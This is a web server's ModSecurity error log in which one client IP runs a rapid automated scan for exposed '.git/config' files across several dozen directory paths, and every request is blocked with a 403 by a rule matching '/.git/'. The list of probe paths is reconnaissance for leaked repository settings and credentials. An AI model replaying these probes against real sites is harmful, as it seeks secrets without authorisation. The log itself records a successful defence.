[Sat Mar 14 02:47:47.974372 2026] [:error] [pid 47891:tid 47983] [client 35.92.185.48:60590] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.git/config"] [unique_id "abRb0_chNnuMqi7I_WEh6QAAAJE"]
[Sat Mar 14 02:47:47.975059 2026] [:error] [pid 48070:tid 48085] [client 35.92.185.48:60588] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/administrator/.git/config"] [unique_id "abRb00IvrhMS5BVHxNk7RQAAAA0"]
[Sat Mar 14 02:47:47.975133 2026] [:error] [pid 48070:tid 48087] [client 35.92.185.48:60592] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/assets/.git/config"] [unique_id "abRb00IvrhMS5BVHxNk7RAAAAA8"]
[Sat Mar 14 02:47:48.019705 2026] [:error] [pid 47891:tid 47971] [client 35.92.185.48:60785] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/html/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh6gAAAIU"]
[Sat Mar 14 02:47:48.019705 2026] [:error] [pid 47891:tid 47978] [client 35.92.185.48:63881] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/new/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh6wAAAIw"]
[Sat Mar 14 02:47:48.020728 2026] [:error] [pid 47905:tid 48000] [client 35.92.185.48:63879] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/old/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCbQAAAUc"]
[Sat Mar 14 02:47:48.021061 2026] [:error] [pid 48070:tid 48090] [client 35.92.185.48:60595] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7RgAAABI"]
[Sat Mar 14 02:47:48.021569 2026] [:error] [pid 47905:tid 48000] [client 35.92.185.48:60781] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/frontend/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCbwAAAUc"]
[Sat Mar 14 02:47:48.021590 2026] [:error] [pid 47905:tid 48005] [client 35.92.185.48:63878] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/main/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCbgAAAUw"]
[Sat Mar 14 02:47:48.021835 2026] [:error] [pid 48070:tid 48090] [client 35.92.185.48:63887] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/root/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7RwAAABI"]
[Sat Mar 14 02:47:48.022040 2026] [:error] [pid 47905:tid 48010] [client 35.92.185.48:63888] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCcAAAAVE"]
[Sat Mar 14 02:47:48.022321 2026] [:error] [pid 47905:tid 48000] [client 35.92.185.48:63886] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/production/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCcQAAAUc"]
[Sat Mar 14 02:47:48.022928 2026] [:error] [pid 48070:tid 48096] [client 35.92.185.48:63883] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7SAAAABg"]
[Sat Mar 14 02:47:48.024010 2026] [:error] [pid 47905:tid 48008] [client 35.92.185.48:63884] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sites/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCcgAAAU8"]
[Sat Mar 14 02:47:48.024099 2026] [:error] [pid 47905:tid 47997] [client 35.92.185.48:63882] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCcwAAAUQ"]
[Sat Mar 14 02:47:48.024761 2026] [:error] [pid 47905:tid 48002] [client 35.92.185.48:64947] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wordpress/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCdAAAAUk"]
[Sat Mar 14 02:47:48.025112 2026] [:error] [pid 47905:tid 48012] [client 35.92.185.48:63889] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCdQAAAVM"]
[Sat Mar 14 02:47:48.025112 2026] [:error] [pid 47905:tid 47998] [client 35.92.185.48:64946] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/test/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCdgAAAUU"]
[Sat Mar 14 02:47:48.025428 2026] [:error] [pid 47905:tid 47996] [client 35.92.185.48:63885] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCdwAAAUM"]
[Sat Mar 14 02:47:48.025659 2026] [:error] [pid 47891:tid 47968] [client 35.92.185.48:63892] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/staging/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh7QAAAII"]
[Sat Mar 14 02:47:48.025939 2026] [:error] [pid 48070:tid 48074] [client 35.92.185.48:63893] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docs/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7SQAAAAI"]
[Sat Mar 14 02:47:48.026302 2026] [:error] [pid 47905:tid 47998] [client 35.92.185.48:63891] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-admin/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCeAAAAUU"]
[Sat Mar 14 02:47:48.026598 2026] [:error] [pid 48070:tid 48075] [client 35.92.185.48:63890] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7SgAAAAM"]
[Sat Mar 14 02:47:48.027041 2026] [:error] [pid 47905:tid 47994] [client 35.92.185.48:54673] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/tmp/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCeQAAAUE"]
[Sat Mar 14 02:47:48.027626 2026] [:error] [pid 47905:tid 48006] [client 35.92.185.48:54672] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/example/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCegAAAU0"]
[Sat Mar 14 02:47:48.027731 2026] [:error] [pid 47905:tid 48003] [client 35.92.185.48:54677] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/git/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCewAAAUo"]
[Sat Mar 14 02:47:48.028125 2026] [:error] [pid 47891:tid 47966] [client 35.92.185.48:54674] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v2/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh7gAAAIA"]
[Sat Mar 14 02:47:48.032360 2026] [:error] [pid 47891:tid 47975] [client 35.92.185.48:54684] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prod/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh7wAAAIk"]
[Sat Mar 14 02:47:48.040644 2026] [:error] [pid 48070:tid 48088] [client 35.92.185.48:54676] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v1/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7SwAAABA"]
[Sat Mar 14 02:47:48.040664 2026] [:error] [pid 48070:tid 48093] [client 35.92.185.48:54671] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7TAAAABU"]
[Sat Mar 14 02:47:48.041735 2026] [:error] [pid 48070:tid 48072] [client 35.92.185.48:54670] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v3/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7TQAAAAA"]
[Sat Mar 14 02:47:48.048885 2026] [:error] [pid 48070:tid 48073] [client 35.92.185.48:54696] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/joomla/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7TgAAAAE"]
[Sat Mar 14 02:47:48.054464 2026] [:error] [pid 47891:tid 47990] [client 35.92.185.48:54669] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/www/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh8AAAAJg"]
[Sat Mar 14 02:47:48.054463 2026] [:error] [pid 48070:tid 48082] [client 35.92.185.48:63894] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/temp/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7TwAAAAo"]
[Sat Mar 14 02:47:48.054937 2026] [:error] [pid 47878:tid 47959] [client 35.92.185.48:60779] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dist/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBkgAAAFQ"]
[Sat Mar 14 02:47:48.056093 2026] [:error] [pid 47905:tid 48001] [client 35.92.185.48:55244] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/cms/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCfAAAAUg"]
[Sat Mar 14 02:47:48.057626 2026] [:error] [pid 48070:tid 48083] [client 35.92.185.48:60594] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/blog/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7UAAAAAs"]
[Sat Mar 14 02:47:48.057991 2026] [:error] [pid 47891:tid 47972] [client 35.92.185.48:60593] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/build/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh8QAAAIY"]
[Sat Mar 14 02:47:48.058029 2026] [:error] [pid 48070:tid 48094] [client 35.92.185.48:60597] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7UQAAABY"]
[Sat Mar 14 02:47:48.058690 2026] [:error] [pid 47891:tid 47972] [client 35.92.185.48:60596] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/beta/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh8gAAAIY"]
[Sat Mar 14 02:47:48.073787 2026] [:error] [pid 48070:tid 48085] [client 35.92.185.48:54697] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/logs/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7UgAAAA0"]
[Sat Mar 14 02:47:48.085291 2026] [:error] [pid 47891:tid 47984] [client 35.92.185.48:54681] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/drupal/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh8wAAAJI"]
[Sat Mar 14 02:47:48.102950 2026] [:error] [pid 47891:tid 47972] [client 35.92.185.48:54719] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dev/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh9AAAAIY"]
[Sat Mar 14 02:47:48.108192 2026] [:error] [pid 47891:tid 47972] [client 35.92.185.48:54143] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sample/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh9QAAAIY"]
[Sat Mar 14 02:47:48.144446 2026] [:error] [pid 47878:tid 47951] [client 35.92.185.48:54097] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/debug/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBkwAAAEw"]
[Sat Mar 14 02:47:48.399185 2026] [:error] [pid 47905:tid 48014] [client 35.92.185.48:54687] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCfwAAAVU"]
[Sat Mar 14 02:47:48.400512 2026] [:error] [pid 47905:tid 47993] [client 35.92.185.48:54695] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/build/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCgAAAAUA"]
[Sat Mar 14 02:47:48.400620 2026] [:error] [pid 47891:tid 47970] [client 35.92.185.48:54694] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/debug/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh9wAAAIQ"]
[Sat Mar 14 02:47:48.402222 2026] [:error] [pid 47891:tid 47985] [client 35.92.185.48:54698] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/blog/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh-AAAAJM"]
[Sat Mar 14 02:47:48.404058 2026] [:error] [pid 48070:tid 48076] [client 35.92.185.48:54702] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7UwAAAAQ"]
[Sat Mar 14 02:47:48.409478 2026] [:error] [pid 48070:tid 48080] [client 35.92.185.48:54726] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v2/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7VAAAAAg"]
[Sat Mar 14 02:47:48.421925 2026] [:error] [pid 48070:tid 48077] [client 35.92.185.48:54723] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wordpress/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7VQAAAAU"]
[Sat Mar 14 02:47:48.421930 2026] [:error] [pid 47878:tid 47957] [client 35.92.185.48:54701] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/cms/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBlQAAAFI"]
[Sat Mar 14 02:47:48.421930 2026] [:error] [pid 48070:tid 48084] [client 35.92.185.48:54728] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/root/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7VgAAAAw"]
[Sat Mar 14 02:47:48.422664 2026] [:error] [pid 47878:tid 47943] [client 35.92.185.48:54739] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prod/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBlgAAAEQ"]
[Sat Mar 14 02:47:48.422845 2026] [:error] [pid 47878:tid 47941] [client 35.92.185.48:54740] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBlwAAAEI"]
[Sat Mar 14 02:47:48.423117 2026] [:error] [pid 48070:tid 48089] [client 35.92.185.48:54738] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/git/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7VwAAABE"]
